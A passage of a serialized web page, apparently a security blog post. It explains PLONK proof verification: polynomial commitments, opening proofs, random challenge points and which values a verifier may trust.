",{"type":23,"tag":94,"props":142769,"children":142771},{"className":142770},[3237,3238],[142772],{"type":23,"tag":314,"props":142773,"children":142775},{"className":142774},[3243],[142776],{"type":23,"tag":314,"props":142777,"children":142779},{"className":142778,"ariaHidden":1481},[3248],[142780,142821],{"type":23,"tag":314,"props":142781,"children":142783},{"className":142782},[3253],[142784,142788,142793,142798,142803,142808,142812,142817],{"type":23,"tag":314,"props":142785,"children":142787},{"className":142786,"style":3365},[3258],[],{"type":23,"tag":314,"props":142789,"children":142791},{"className":142790,"style":20826},[3264,20825],[142792],{"type":28,"value":121077},{"type":23,"tag":314,"props":142794,"children":142796},{"className":142795},[20954],[142797],{"type":28,"value":341},{"type":23,"tag":314,"props":142799,"children":142801},{"className":142800},[3264,20825],[142802],{"type":28,"value":18514},{"type":23,"tag":314,"props":142804,"children":142806},{"className":142805},[20976],[142807],{"type":28,"value":431},{"type":23,"tag":314,"props":142809,"children":142811},{"className":142810,"style":3442},[3344],[],{"type":23,"tag":314,"props":142813,"children":142815},{"className":142814},[3447],[142816],{"type":28,"value":1102},{"type":23,"tag":314,"props":142818,"children":142820},{"className":142819,"style":3442},[3344],[],{"type":23,"tag":314,"props":142822,"children":142824},{"className":142823},[3253],[142825,142829],{"type":23,"tag":314,"props":142826,"children":142828},{"className":142827,"style":93330},[3258],[],{"type":23,"tag":314,"props":142830,"children":142832},{"className":142831},[3264],[142833],{"type":28,"value":1600},{"type":28,"value":142835}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":94,"props":142837,"children":142839},{"className":142838},[3237,3238],[142840],{"type":23,"tag":314,"props":142841,"children":142843},{"className":142842},[3243],[142844],{"type":23,"tag":314,"props":142845,"children":142847},{"className":142846,"ariaHidden":1481},[3248],[142848,142890,142953],{"type":23,"tag":314,"props":142849,"children":142851},{"className":142850},[3253],[142852,142856,142862,142867,142872,142877,142881,142886],{"type":23,"tag":314,"props":142853,"children":142855},{"className":142854,"style":3365},[3258],[],{"type":23,"tag":314,"props":142857,"children":142859},{"className":142858,"style":21357},[3264,20825],[142860],{"type":28,"value":142861},"Z",{"type":23,"tag":314,"props":142863,"children":142865},{"className":142864},[20954],[142866],{"type":28,"value":341},{"type":23,"tag":314,"props":142868,"children":142870},{"className":142869},[3264,20825],[142871],{"type":28,"value":18514},{"type":23,"tag":314,"props":142873,"children":142875},{"className":142874},[20976],[142876],{"type":28,"value":431},{"type":23,"tag":314,"props":142878,"children":142880},{"className":142879,"style":3442},[3344],[],{"type":23,"tag":314,"props":142882,"children":142884},{"className":142883},[3447],[142885],{"type":28,"value":1102},{"type":23,"tag":314,"props":142887,"children":142889},{"className":142888,"style":3442},[3344],[],{"type":23,"tag":314,"props":142891,"children":142893},{"className":142892},[3253],[142894,142899,142940,142944,142949],{"type":23,"tag":314,"props":142895,"children":142898},{"className":142896,"style":142897},[3258],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":314,"props":142900,"children":142902},{"className":142901},[3264],[142903,142908],{"type":23,"tag":314,"props":142904,"children":142906},{"className":142905},[3264,20825],[142907],{"type":28,"value":18514},{"type":23,"tag":314,"props":142909,"children":142911},{"className":142910},[3280],[142912],{"type":23,"tag":314,"props":142913,"children":142915},{"className":142914},[3285],[142916],{"type":23,"tag":314,"props":142917,"children":142919},{"className":142918},[3290],[142920],{"type":23,"tag":314,"props":142921,"children":142923},{"className":142922,"style":108016},[3295],[142924],{"type":23,"tag":314,"props":142925,"children":142926},{"style":3299},[142927,142931],{"type":23,"tag":314,"props":142928,"children":142930},{"className":142929,"style":3305},[3304],[],{"type":23,"tag":314,"props":142932,"children":142934},{"className":142933},[3310,3311,3312,3313],[142935],{"type":23,"tag":314,"props":142936,"children":142938},{"className":142937},[3264,20825,3313],[142939],{"type":28,"value":55654},{"type":23,"tag":314,"props":142941,"children":142943},{"className":142942,"style":3345},[3344],[],{"type":23,"tag":314,"props":142945,"children":142947},{"className":142946},[3350],[142948],{"type":28,"value":3324},{"type":23,"tag":314,"props":142950,"children":142952},{"className":142951,"style":3345},[3344],[],{"type":23,"tag":314,"props":142954,"children":142956},{"className":142955},[3253],[142957,142961],{"type":23,"tag":314,"props":142958,"children":142960},{"className":142959,"style":93330},[3258],[],{"type":23,"tag":314,"props":142962,"children":142964},{"className":142963},[3264],[142965],{"type":28,"value":3267},{"type":28,"value":142967}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":94,"props":142969,"children":142971},{"className":142970},[3237,3238],[142972],{"type":23,"tag":314,"props":142973,"children":142975},{"className":142974},[3243],[142976],{"type":23,"tag":314,"props":142977,"children":142979},{"className":142978,"ariaHidden":1481},[3248],[142980],{"type":23,"tag":314,"props":142981,"children":142983},{"className":142982},[3253],[142984,142988,142993,142998,143003],{"type":23,"tag":314,"props":142985,"children":142987},{"className":142986,"style":3365},[3258],[],{"type":23,"tag":314,"props":142989,"children":142991},{"className":142990,"style":21357},[3264,20825],[142992],{"type":28,"value":142861},{"type":23,"tag":314,"props":142994,"children":142996},{"className":142995},[20954],[142997],{"type":28,"value":341},{"type":23,"tag":314,"props":142999,"children":143001},{"className":143000},[3264,20825],[143002],{"type":28,"value":18514},{"type":23,"tag":314,"props":143004,"children":143006},{"className":143005},[20976],[143007],{"type":28,"value":431},{"type":28,"value":143009}," divides ",{"type":23,"tag":94,"props":143011,"children":143013},{"className":143012},[3237,3238],[143014],{"type":23,"tag":314,"props":143015,"children":143017},{"className":143016},[3243],[143018],{"type":23,"tag":314,"props":143019,"children":143021},{"className":143020,"ariaHidden":1481},[3248],[143022],{"type":23,"tag":314,"props":143023,"children":143025},{"className":143024},[3253],[143026,143030,143035,143040,143045],{"type":23,"tag":314,"props":143027,"children":143029},{"className":143028,"style":3365},[3258],[],{"type":23,"tag":314,"props":143031,"children":143033},{"className":143032,"style":20826},[3264,20825],[143034],{"type":28,"value":121077},{"type":23,"tag":314,"props":143036,"children":143038},{"className":143037},[20954],[143039],{"type":28,"value":341},{"type":23,"tag":314,"props":143041,"children":143043},{"className":143042},[3264,20825],[143044],{"type":28,"value":18514},{"type":23,"tag":314,"props":143046,"children":143048},{"className":143047},[20976],[143049],{"type":28,"value":431},{"type":28,"value":143051},", yielding a quotient polynomial ",{"type":23,"tag":94,"props":143053,"children":143055},{"className":143054},[3237,3238],[143056],{"type":23,"tag":314,"props":143057,"children":143059},{"className":143058},[3243],[143060],{"type":23,"tag":314,"props":143061,"children":143063},{"className":143062,"ariaHidden":1481},[3248],[143064],{"type":23,"tag":314,"props":143065,"children":143067},{"className":143066},[3253],[143068,143072,143077,143082,143087],{"type":23,"tag":314,"props":143069,"children":143071},{"className":143070,"style":3365},[3258],[],{"type":23,"tag":314,"props":143073,"children":143075},{"className":143074,"style":20826},[3264,20825],[143076],{"type":28,"value":5242},{"type":23,"tag":314,"props":143078,"children":143080},{"className":143079},[20954],[143081],{"type":28,"value":341},{"type":23,"tag":314,"props":143083,"children":143085},{"className":143084},[3264,20825],[143086],{"type":28,"value":18514},{"type":23,"tag":314,"props":143088,"children":143090},{"className":143089},[20976],[143091],{"type":28,"value":431},{"type":28,"value":20741},{"type":23,"tag":94,"props":143094,"children":143096},{"className":143095},[3237,3238],[143097],{"type":23,"tag":314,"props":143098,"children":143100},{"className":143099},[3243],[143101],{"type":23,"tag":314,"props":143102,"children":143104},{"className":143103,"ariaHidden":1481},[3248],[143105,143146,143187],{"type":23,"tag":314,"props":143106,"children":143108},{"className":143107},[3253],[143109,143113,143118,143123,143128,143133,143137,143142],{"type":23,"tag":314,"props":143110,"children":143112},{"className":143111,"style":3365},[3258],[],{"type":23,"tag":314,"props":143114,"children":143116},{"className":143115,"style":20826},[3264,20825],[143117],{"type":28,"value":121077},{"type":23,"tag":314,"props":143119,"children":143121},{"className":143120},[20954],[143122],{"type":28,"value":341},{"type":23,"tag":314,"props":143124,"children":143126},{"className":143125},[3264,20825],[143127],{"type":28,"value":18514},{"type":23,"tag":314,"props":143129,"children":143131},{"className":143130},[20976],[143132],{"type":28,"value":431},{"type":23,"tag":314,"props":143134,"children":143136},{"className":143135,"style":3442},[3344],[],{"type":23,"tag":314,"props":143138,"children":143140},{"className":143139},[3447],[143141],{"type":28,"value":1102},{"type":23,"tag":314,"props":143143,"children":143145},{"className":143144,"style":3442},[3344],[],{"type":23,"tag":314,"props":143147,"children":143149},{"className":143148},[3253],[143150,143154,143159,143164,143169,143174,143178,143183],{"type":23,"tag":314,"props":143151,"children":143153},{"className":143152,"style":3365},[3258],[],{"type":23,"tag":314,"props":143155,"children":143157},{"className":143156,"style":20826},[3264,20825],[143158],{"type":28,"value":5242},{"type":23,"tag":314,"props":143160,"children":143162},{"className":143161},[20954],[143163],{"type":28,"value":341},{"type":23,"tag":314,"props":143165,"children":143167},{"className":143166},[3264,20825],[143168],{"type":28,"value":18514},{"type":23,"tag":314,"props":143170,"children":143172},{"className":143171},[20976],[143173],{"type":28,"value":431},{"type":23,"tag":314,"props":143175,"children":143177},{"className":143176,"style":3345},[3344],[],{"type":23,"tag":314,"props":143179,"children":143181},{"className":143180},[3350],[143182],{"type":28,"value":110561},{"type":23,"tag":314,"props":143184,"children":143186},{"className":143185,"style":3345},[3344],[],{"type":23,"tag":314,"props":143188,"children":143190},{"className":143189},[3253],[143191,143195,143200,143205,143210],{"type":23,"tag":314,"props":143192,"children":143194},{"className":143193,"style":3365},[3258],[],{"type":23,"tag":314,"props":143196,"children":143198},{"className":143197,"style":21357},[3264,20825],[143199],{"type":28,"value":142861},{"type":23,"tag":314,"props":143201,"children":143203},{"className":143202},[20954],[143204],{"type":28,"value":341},{"type":23,"tag":314,"props":143206,"children":143208},{"className":143207},[3264,20825],[143209],{"type":28,"value":18514},{"type":23,"tag":314,"props":143211,"children":143213},{"className":143212},[20976],[143214],{"type":28,"value":431},{"type":28,"value":282},{"type":23,"tag":24,"props":143217,"children":143218},{},[143219],{"type":23,"tag":197,"props":143220,"children":143223},{"alt":143221,"src":143222},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":837,"props":143225,"children":143227},{"id":143226},"polynomial-commitments-and-opening-proofs",[143228],{"type":28,"value":143229},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":143231,"children":143232},{},[143233,143235,143240,143242,143247],{"type":28,"value":143234},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":186,"props":143236,"children":143237},{},[143238],{"type":28,"value":143239},"commitments",{"type":28,"value":143241},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":186,"props":143243,"children":143244},{},[143245],{"type":28,"value":143246},"opening proof",{"type":28,"value":143248}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":143250,"children":143251},{},[143252],{"type":28,"value":143253},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":837,"props":143255,"children":143257},{"id":143256},"reducing-to-a-single-random-point",[143258],{"type":28,"value":143259},"Reducing to a single random point",{"type":23,"tag":24,"props":143261,"children":143262},{},[143263,143265,143305,143307,143332,143334,143456,143458,143483],{"type":28,"value":143264},"After the prover commits to all polynomials, including ",{"type":23,"tag":94,"props":143266,"children":143268},{"className":143267},[3237,3238],[143269],{"type":23,"tag":314,"props":143270,"children":143272},{"className":143271},[3243],[143273],{"type":23,"tag":314,"props":143274,"children":143276},{"className":143275,"ariaHidden":1481},[3248],[143277],{"type":23,"tag":314,"props":143278,"children":143280},{"className":143279},[3253],[143281,143285,143290,143295,143300],{"type":23,"tag":314,"props":143282,"children":143284},{"className":143283,"style":3365},[3258],[],{"type":23,"tag":314,"props":143286,"children":143288},{"className":143287,"style":20826},[3264,20825],[143289],{"type":28,"value":5242},{"type":23,"tag":314,"props":143291,"children":143293},{"className":143292},[20954],[143294],{"type":28,"value":341},{"type":23,"tag":314,"props":143296,"children":143298},{"className":143297},[3264,20825],[143299],{"type":28,"value":18514},{"type":23,"tag":314,"props":143301,"children":143303},{"className":143302},[20976],[143304],{"type":28,"value":431},{"type":28,"value":143306},", the verifier picks a random challenge point ",{"type":23,"tag":94,"props":143308,"children":143310},{"className":143309},[3237,3238],[143311],{"type":23,"tag":314,"props":143312,"children":143314},{"className":143313},[3243],[143315],{"type":23,"tag":314,"props":143316,"children":143318},{"className":143317,"ariaHidden":1481},[3248],[143319],{"type":23,"tag":314,"props":143320,"children":143322},{"className":143321},[3253],[143323,143327],{"type":23,"tag":314,"props":143324,"children":143326},{"className":143325,"style":110140},[3258],[],{"type":23,"tag":314,"props":143328,"children":143330},{"className":143329,"style":112856},[3264,20825],[143331],{"type":28,"value":112859},{"type":28,"value":143333}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":94,"props":143335,"children":143337},{"className":143336},[3237,3238],[143338],{"type":23,"tag":314,"props":143339,"children":143341},{"className":143340},[3243],[143342],{"type":23,"tag":314,"props":143343,"children":143345},{"className":143344,"ariaHidden":1481},[3248],[143346,143387,143428],{"type":23,"tag":314,"props":143347,"children":143349},{"className":143348},[3253],[143350,143354,143359,143364,143369,143374,143378,143383],{"type":23,"tag":314,"props":143351,"children":143353},{"className":143352,"style":3365},[3258],[],{"type":23,"tag":314,"props":143355,"children":143357},{"className":143356,"style":20826},[3264,20825],[143358],{"type":28,"value":121077},{"type":23,"tag":314,"props":143360,"children":143362},{"className":143361},[20954],[143363],{"type":28,"value":341},{"type":23,"tag":314,"props":143365,"children":143367},{"className":143366,"style":112856},[3264,20825],[143368],{"type":28,"value":112859},{"type":23,"tag":314,"props":143370,"children":143372},{"className":143371},[20976],[143373],{"type":28,"value":431},{"type":23,"tag":314,"props":143375,"children":143377},{"className":143376,"style":3442},[3344],[],{"type":23,"tag":314,"props":143379,"children":143381},{"className":143380},[3447],[143382],{"type":28,"value":1102},{"type":23,"tag":314,"props":143384,"children":143386},{"className":143385,"style":3442},[3344],[],{"type":23,"tag":314,"props":143388,"children":143390},{"className":143389},[3253],[143391,143395,143400,143405,143410,143415,143419,143424],{"type":23,"tag":314,"props":143392,"children":143394},{"className":143393,"style":3365},[3258],[],{"type":23,"tag":314,"props":143396,"children":143398},{"className":143397,"style":20826},[3264,20825],[143399],{"type":28,"value":5242},{"type":23,"tag":314,"props":143401,"children":143403},{"className":143402},[20954],[143404],{"type":28,"value":341},{"type":23,"tag":314,"props":143406,"children":143408},{"className":143407,"style":112856},[3264,20825],[143409],{"type":28,"value":112859},{"type":23,"tag":314,"props":143411,"children":143413},{"className":143412},[20976],[143414],{"type":28,"value":431},{"type":23,"tag":314,"props":143416,"children":143418},{"className":143417,"style":3345},[3344],[],{"type":23,"tag":314,"props":143420,"children":143422},{"className":143421},[3350],[143423],{"type":28,"value":110561},{"type":23,"tag":314,"props":143425,"children":143427},{"className":143426,"style":3345},[3344],[],{"type":23,"tag":314,"props":143429,"children":143431},{"className":143430},[3253],[143432,143436,143441,143446,143451],{"type":23,"tag":314,"props":143433,"children":143435},{"className":143434,"style":3365},[3258],[],{"type":23,"tag":314,"props":143437,"children":143439},{"className":143438,"style":21357},[3264,20825],[143440],{"type":28,"value":142861},{"type":23,"tag":314,"props":143442,"children":143444},{"className":143443},[20954],[143445],{"type":28,"value":341},{"type":23,"tag":314,"props":143447,"children":143449},{"className":143448,"style":112856},[3264,20825],[143450],{"type":28,"value":112859},{"type":23,"tag":314,"props":143452,"children":143454},{"className":143453},[20976],[143455],{"type":28,"value":431},{"type":28,"value":143457}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":94,"props":143459,"children":143461},{"className":143460},[3237,3238],[143462],{"type":23,"tag":314,"props":143463,"children":143465},{"className":143464},[3243],[143466],{"type":23,"tag":314,"props":143467,"children":143469},{"className":143468,"ariaHidden":1481},[3248],[143470],{"type":23,"tag":314,"props":143471,"children":143473},{"className":143472},[3253],[143474,143478],{"type":23,"tag":314,"props":143475,"children":143477},{"className":143476,"style":110140},[3258],[],{"type":23,"tag":314,"props":143479,"children":143481},{"className":143480,"style":112856},[3264,20825],[143482],{"type":28,"value":112859},{"type":28,"value":143484}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":143486,"children":143487},{},[143488,143490,143515,143517,143522],{"type":28,"value":143489},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":94,"props":143491,"children":143493},{"className":143492},[3237,3238],[143494],{"type":23,"tag":314,"props":143495,"children":143497},{"className":143496},[3243],[143498],{"type":23,"tag":314,"props":143499,"children":143501},{"className":143500,"ariaHidden":1481},[3248],[143502],{"type":23,"tag":314,"props":143503,"children":143505},{"className":143504},[3253],[143506,143510],{"type":23,"tag":314,"props":143507,"children":143509},{"className":143508,"style":110140},[3258],[],{"type":23,"tag":314,"props":143511,"children":143513},{"className":143512,"style":112856},[3264,20825],[143514],{"type":28,"value":112859},{"type":28,"value":143516},", the prover supplies ",{"type":23,"tag":186,"props":143518,"children":143519},{},[143520],{"type":28,"value":143521},"evaluation claims",{"type":28,"value":143523}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":143525,"children":143526},{},[143527,143529,143533],{"type":28,"value":143528},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":186,"props":143530,"children":143531},{},[143532],{"type":28,"value":103843},{"type":28,"value":143534}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":837,"props":143536,"children":143538},{"id":143537},"what-the-verifier-is-actually-allowed-to-trust",[143539],{"type":28,"value":143540},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":143542,"children":143543},{},[143544,143546,143551],{"type":28,"value":143545},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":721,"props":143547,"children":143548},{},[143549],{"type":28,"value":143550},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":282},{"type":23,"tag":24,"props":143553,"children":143554},{},[143555,143557,143649,143650,143742,143744,143769,143771,143811,143812,143852,143853,143946,143947,143993,143995,144082,144083,144170,144171,144258],{"type":28,"value":143556},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":94,"props":143558,"children":143560},{"className":143559},[3237,3238],[143561],{"type":23,"tag":314,"props":143562,"children":143564},{"className":143563},[3243],[143565],{"type":23,"tag":314,"props":143566,"children":143568},{"className":143567,"ariaHidden":1481},[3248],[143569],{"type":23,"tag":314,"props":143570,"children":143572},{"className":143571},[3253],[143573,143577,143634,143639,143644],{"type":23,"tag":314,"props":143574,"children":143576},{"className":143575,"style":3365},[3258],[],{"type":23,"tag":314,"props":143578,"children":143580},{"className":143579},[3264],[143581,143586],{"type":23,"tag":314,"props":143582,"children":143584},{"className":143583,"style":21357},[3264,20825],[143585],{"type":28,"value":142861},{"type":23,"tag":314,"props":143587,"children":143589},{"className":143588},[3280],[143590],{"type":23,"tag":314,"props":143591,"children":143593},{"className":143592},[3285,20879],[143594,143623],{"type":23,"tag":314,"props":143595,"children":143597},{"className":143596},[3290],[143598,143618],{"type":23,"tag":314,"props":143599,"children":143601},{"className":143600,"style":141852},[3295],[143602],{"type":23,"tag":314,"props":143603,"children":143604},{"style":115548},[143605,143609],{"type":23,"tag":314,"props":143606,"children":143608},{"className":143607,"style":3305},[3304],[],{"type":23,"tag":314,"props":143610,"children":143612},{"className":143611},[3310,3311,3312,3313],[143613],{"type":23,"tag":314,"props":143614,"children":143616},{"className":143615,"style":92533},[3264,20825,3313],[143617],{"type":28,"value":92536},{"type":23,"tag":314,"props":143619,"children":143621},{"className":143620},[20982],[143622],{"type":28,"value":20985},{"type":23,"tag":314,"props":143624,"children":143626},{"className":143625},[3290],[143627],{"type":23,"tag":314,"props":143628,"children":143630},{"className":143629,"style":92382},[3295],[143631],{"type":23,"tag":314,"props":143632,"children":143633},{},[],{"type":23,"tag":314,"props":143635,"children":143637},{"className":143636},[20954],[143638],{"type":28,"value":341},{"type":23,"tag":314,"props":143640,"children":143642},{"className":143641,"style":112856},[3264,20825],[143643],{"type":28,"value":112859},{"type":23,"tag":314,"props":143645,"children":143647},{"className":143646},[20976],[143648],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":143651,"children":143653},{"className":143652},[3237,3238],[143654],{"type":23,"tag":314,"props":143655,"children":143657},{"className":143656},[3243],[143658],{"type":23,"tag":314,"props":143659,"children":143661},{"className":143660,"ariaHidden":1481},[3248],[143662],{"type":23,"tag":314,"props":143663,"children":143665},{"className":143664},[3253],[143666,143670,143727,143732,143737],{"type":23,"tag":314,"props":143667,"children":143669},{"className":143668,"style":3365},[3258],[],{"type":23,"tag":314,"props":143671,"children":143673},{"className":143672},[3264],[143674,143679],{"type":23,"tag":314,"props":143675,"children":143677},{"className":143676},[3264,20825],[143678],{"type":28,"value":117263},{"type":23,"tag":314,"props":143680,"children":143682},{"className":143681},[3280],[143683],{"type":23,"tag":314,"props":143684,"children":143686},{"className":143685},[3285,20879],[143687,143716],{"type":23,"tag":314,"props":143688,"children":143690},{"className":143689},[3290],[143691,143711],{"type":23,"tag":314,"props":143692,"children":143694},{"className":143693,"style":92351},[3295],[143695],{"type":23,"tag":314,"props":143696,"children":143697},{"style":92355},[143698,143702],{"type":23,"tag":314,"props":143699,"children":143701},{"className":143700,"style":3305},[3304],[],{"type":23,"tag":314,"props":143703,"children":143705},{"className":143704},[3310,3311,3312,3313],[143706],{"type":23,"tag":314,"props":143707,"children":143709},{"className":143708},[3264,3313],[143710],{"type":28,"value":3267},{"type":23,"tag":314,"props":143712,"children":143714},{"className":143713},[20982],[143715],{"type":28,"value":20985},{"type":23,"tag":314,"props":143717,"children":143719},{"className":143718},[3290],[143720],{"type":23,"tag":314,"props":143721,"children":143723},{"className":143722,"style":92382},[3295],[143724],{"type":23,"tag":314,"props":143725,"children":143726},{},[],{"type":23,"tag":314,"props":143728,"children":143730},{"className":143729},[20954],[143731],{"type":28,"value":341},{"type":23,"tag":314,"props":143733,"children":143735},{"className":143734,"style":112856},[3264,20825],[143736],{"type":28,"value":112859},{"type":23,"tag":314,"props":143738,"children":143740},{"className":143739},[20976],[143741],{"type":28,"value":431},{"type":28,"value":143743},", the public-input polynomial at ",{"type":23,"tag":94,"props":143745,"children":143747},{"className":143746},[3237,3238],[143748],{"type":23,"tag":314,"props":143749,"children":143751},{"className":143750},[3243],[143752],{"type":23,"tag":314,"props":143753,"children":143755},{"className":143754,"ariaHidden":1481},[3248],[143756],{"type":23,"tag":314,"props":143757,"children":143759},{"className":143758},[3253],[143760,143764],{"type":23,"tag":314,"props":143761,"children":143763},{"className":143762,"style":110140},[3258],[],{"type":23,"tag":314,"props":143765,"children":143767},{"className":143766,"style":112856},[3264,20825],[143768],{"type":28,"value":112859},{"type":28,"value":143770},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":23,"tag":94,"props":143772,"children":143774},{"className":143773},[3237,3238],[143775],{"type":23,"tag":314,"props":143776,"children":143778},{"className":143777},[3243],[143779],{"type":23,"tag":314,"props":143780,"children":143782},{"className":143781,"ariaHidden":1481},[3248],[143783],{"type":23,"tag":314,"props":143784,"children":143786},{"className":143785},[3253],[143787,143791,143796,143801,143806],{"type":23,"tag":314,"props":143788,"children":143790},{"className":143789,"style":3365},[3258],[],{"type":23,"tag":314,"props":143792,"children":143794},{"className":143793},[3264,20825],[143795],{"type":28,"value":31},{"type":23,"tag":314,"props":143797,"children":143799},{"className":143798},[20954],[143800],{"type":28,"value":341},{"type":23,"tag":314,"props":143802,"children":143804},{"className":143803,"style":112856},[3264,20825],[143805],{"type":28,"value":112859},{"type":23,"tag":314,"props":143807,"children":143809},{"className":143808},[20976],[143810],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":143813,"children":143815},{"className":143814},[3237,3238],[143816],{"type":23,"tag":314,"props":143817,"children":143819},{"className":143818},[3243],[143820],{"type":23,"tag":314,"props":143821,"children":143823},{"className":143822,"ariaHidden":1481},[3248],[143824],{"type":23,"tag":314,"props":143825,"children":143827},{"className":143826},[3253],[143828,143832,143837,143842,143847],{"type":23,"tag":314,"props":143829,"children":143831},{"className":143830,"style":3365},[3258],[],{"type":23,"tag":314,"props":143833,"children":143835},{"className":143834},[3264,20825],[143836],{"type":28,"value":2477},{"type":23,"tag":314,"props":143838,"children":143840},{"className":143839},[20954],[143841],{"type":28,"value":341},{"type":23,"tag":314,"props":143843,"children":143845},{"className":143844,"style":112856},[3264,20825],[143846],{"type":28,"value":112859},{"type":23,"tag":314,"props":143848,"children":143850},{"className":143849},[20976],[143851],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":143854,"children":143856},{"className":143855},[3237,3238],[143857],{"type":23,"tag":314,"props":143858,"children":143860},{"className":143859},[3243],[143861],{"type":23,"tag":314,"props":143862,"children":143864},{"className":143863,"ariaHidden":1481},[3248],[143865],{"type":23,"tag":314,"props":143866,"children":143868},{"className":143867},[3253],[143869,143873,143931,143936,143941],{"type":23,"tag":314,"props":143870,"children":143872},{"className":143871,"style":3365},[3258],[],{"type":23,"tag":314,"props":143874,"children":143876},{"className":143875},[3264],[143877,143883],{"type":23,"tag":314,"props":143878,"children":143880},{"className":143879,"style":92785},[3264,20825],[143881],{"type":28,"value":143882},"σ",{"type":23,"tag":314,"props":143884,"children":143886},{"className":143885},[3280],[143887],{"type":23,"tag":314,"props":143888,"children":143890},{"className":143889},[3285,20879],[143891,143920],{"type":23,"tag":314,"props":143892,"children":143894},{"className":143893},[3290],[143895,143915],{"type":23,"tag":314,"props":143896,"children":143898},{"className":143897,"style":92351},[3295],[143899],{"type":23,"tag":314,"props":143900,"children":143901},{"style":92832},[143902,143906],{"type":23,"tag":314,"props":143903,"children":143905},{"className":143904,"style":3305},[3304],[],{"type":23,"tag":314,"props":143907,"children":143909},{"className":143908},[3310,3311,3312,3313],[143910],{"type":23,"tag":314,"props":143911,"children":143913},{"className":143912},[3264,3313],[143914],{"type":28,"value":3267},{"type":23,"tag":314,"props":143916,"children":143918},{"className":143917},[20982],[143919],{"type":28,"value":20985},{"type":23,"tag":314,"props":143921,"children":143923},{"className":143922},[3290],[143924],{"type":23,"tag":314,"props":143925,"children":143927},{"className":143926,"style":92382},[3295],[143928],{"type":23,"tag":314,"props":143929,"children":143930},{},[],{"type":23,"tag":314,"props":143932,"children":143934},{"className":143933},[20954],[143935],{"type":28,"value":341},{"type":23,"tag":314,"props":143937,"children":143939},{"className":143938,"style":112856},[3264,20825],[143940],{"type":28,"value":112859},{"type":23,"tag":314,"props":143942,"children":143944},{"className":143943},[20976],[143945],{"type":28,"value":431},{"type":28,"value":778},{"type":23,"tag":94,"props":143948,"children":143950},{"className":143949},[3237,3238],[143951],{"type":23,"tag":314,"props":143952,"children":143954},{"className":143953},[3243],[143955],{"type":23,"tag":314,"props":143956,"children":143958},{"className":143957,"ariaHidden":1481},[3248],[143959],{"type":23,"tag":314,"props":143960,"children":143962},{"className":143961},[3253],[143963,143967,143972,143977,143982,143988],{"type":23,"tag":314,"props":143964,"children":143966},{"className":143965,"style":3365},[3258],[],{"type":23,"tag":314,"props":143968,"children":143970},{"className":143969},[3264,20825],[143971],{"type":28,"value":31},{"type":23,"tag":314,"props":143973,"children":143975},{"className":143974},[20954],[143976],{"type":28,"value":341},{"type":23,"tag":314,"props":143978,"children":143980},{"className":143979,"style":112856},[3264,20825],[143981],{"type":28,"value":112859},{"type":23,"tag":314,"props":143983,"children":143985},{"className":143984,"style":92785},[3264,20825],[143986],{"type":28,"value":143987},"ω",{"type":23,"tag":314,"props":143989,"children":143991},{"className":143990},[20976],[143992],{"type":28,"value":431},{"type":28,"value":143994},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":94,"props":143996,"children":143998},{"className":143997},[3237,3238],[143999],{"type":23,"tag":314,"props":144000,"children":144002},{"className":144001},[3243],[144003],{"type":23,"tag":314,"props":144004,"children":144006},{"className":144005,"ariaHidden":1481},[3248],[144007],{"type":23,"tag":314,"props":144008,"children":144010},{"className":144009},[3253],[144011,144015,144020,144077],{"type":23,"tag":314,"props":144012,"children":144014},{"className":144013,"style":3365},[3258],[],{"type":23,"tag":314,"props":144016,"children":144018},{"className":144017},[20954],[144019],{"type":28,"value":1312},{"type":23,"tag":314,"props":144021,"children":144023},{"className":144022},[3264],[144024,144029],{"type":23,"tag":314,"props":144025,"children":144027},{"className":144026,"style":92785},[3264,20825],[144028],{"type":28,"value":92788},{"type":23,"tag":314,"props":144030,"children":144032},{"className":144031},[3280],[144033],{"type":23,"tag":314,"props":144034,"children":144036},{"className":144035},[3285,20879],[144037,144066],{"type":23,"tag":314,"props":144038,"children":144040},{"className":144039},[3290],[144041,144061],{"type":23,"tag":314,"props":144042,"children":144044},{"className":144043,"style":141852},[3295],[144045],{"type":23,"tag":314,"props":144046,"children":144047},{"style":92832},[144048,144052],{"type":23,"tag":314,"props":144049,"children":144051},{"className":144050,"style":3305},[3304],[],{"type":23,"tag":314,"props":144053,"children":144055},{"className":144054},[3310,3311,3312,3313],[144056],{"type":23,"tag":314,"props":144057,"children":144059},{"className":144058,"style":94307},[3264,20825,3313],[144060],{"type":28,"value":94310},{"type":23,"tag":314,"props":144062,"children":144064},{"className":144063},[20982],[144065],{"type":28,"value":20985},{"type":23,"tag":314,"props":144067,"children":144069},{"className":144068},[3290],[144070],{"type":23,"tag":314,"props":144071,"children":144